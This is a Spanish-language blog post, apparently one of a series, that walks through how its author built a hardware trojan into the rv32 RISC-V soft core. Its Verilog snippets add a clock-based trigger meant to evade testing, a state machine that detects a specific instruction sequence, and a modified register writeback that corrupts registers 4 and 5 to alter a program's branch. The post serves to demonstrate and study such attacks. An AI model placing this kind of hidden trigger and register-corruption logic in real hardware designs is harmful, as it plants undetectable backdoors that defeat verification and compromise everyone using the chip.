2021/11/15

H4CK3D 2021: el ataque concreto

Ya casi estamos, tenemos...


Los componentes del ataque 


Voy a asumir que sabés qué es un pipeline, que entendés un poco de Verilog y lo más difícil, que leiste todo lo anterior o al menos le pasaste una mirada por encima.


Propagación de la instrucción por todo el pipeline  


rv32 implementa un pipeline clásico de 5 stages según el autor y cita de una a la wikipedia.

En uno de esos stages hay que detectar la ejecución de las instrucciones interesantes y en otro hacer la modificación. Para ello tuve que, aprovechando la infraestructura de verificación formal, propagar la instrucción a todo el pipeline. Esto es por que en fetch y decode existe la instrucción, pero luego desaparece, no hace falta.

 

Propagación de la instrucción a todo el pipeline
Propagación de la instrucción a todo el pipeline


Las señales prefijadas con "`" son las agregadas.

 

Extracción de señal del RTC

 

A la interfaz agregué:


output attack_rtc_enable,


y luego:


assign attack_rtc_enable = secondsHi[1];

Esto significa que cuando el bit de valor 2 del dígito de las decenas de segundo esté  prendido, o sea 2 a 3 y 5 (segundos 20 a 39, 50 a 59), el ataque estará habilitado desde el punto de vista del tiempo.

Esta restricción temporal existe para disminuir las probabilidades de que se active durante una etapa de testeo. En un escenario realista, sería un combinacional tipo


assign attack_rtc_enable = hours[3] && minutesLo[3] && secondsHi[1];

 

Para que el ataque esté activo cuando lleve encendido 8 a 15 horas, en el minuto 04, 14, 24, 34, 44, 54 (creo) y los segundos con los que veníamos.

 

FSM en el stage de writeback detector de la secuencia de interés

 

Nada especial, una FSM de 8 estados, pude haber usado menos quizás, tomando estos valores:

localparam
  instr_0 = 32'hfef400a3, // sb  a5,-31(s0)
  instr_1 = 32'hfe244703, // lbu a4,-30(s0)
  instr_2 = 32'h00800793, // li  a5,8
  instr_3 = 32'h02f71a63, // bne a4,a5,30c <main+0x218>
  instr_4 = 32'hfe144703, // lbu a4,-31(s0)
  instr_5 = 32'h00100793, // li  a5,1
  instr_6 = 32'h02f71063; // bne a4,a5,304 <main+0x210>

 
En cada estado se pregunta si está el valor siguiente. Si está se pasa al siguiente estado, sino, regresa al comienzo.  Llegada la instrucción cuarta, se activa el ataque.
 
 

waiting_instr_3: begin
  if (instr_in == instr_3) begin  // bne a4,a5,30c <main+0x218>
    attack_state      <= waiting_instr_4;
    attack_seq_enable <= 1;
  end else begin
    attack_state      <= waiting_instr_0;
    attack_seq_enable <= 0;
  end
end
 
Por las dudas dejé el ataque activo por dos ciclos más.

 

Modificador de registros en regs según condiciones

 

Pasé de:

if (!writeback_flush_in && rd_write_in && |rd_in)
  regs[rd_in] <= rd_value_in;

que dice que si no se está flusheando el pipeline que ponga en el registro apuntado por rd_in el valor en rd_value_in.

Pasé a, decía:

if (!writeback_flush_in && rd_write_in && |rd_in)
  if (attack_seq_enable && attack_rtc_enable) begin
    regs[4] <= rd_value_in;
    regs[5] <= rd_value_in;

  end else begin
    regs[rd_in] <= rd_value_in;
  end

Que dice que si se detectó la secuencia y es la hora apropiada, ponga en los registros 4 y 5 el valor en rd_value_in.

No pude hacer que funcione asignando sólamente a5 <= 1, me parece recordar que tenía que poner una lógica toda complicada, así resultó ser lo más sencillo.

 

Conexionado

 

No merece una sección aparte, pero obviamente tuve que agregar todo el cableado pasando por las interfaces. Esto es por que no encontré rápido, es más, me parece que al menos con las tools que usé no es factible saltearse las interfaces y conectar directamente los componentes. De esto tengo ideas, pero eso lo veremos en "the missing pieces".

 

 


No hay comentarios:

Publicar un comentario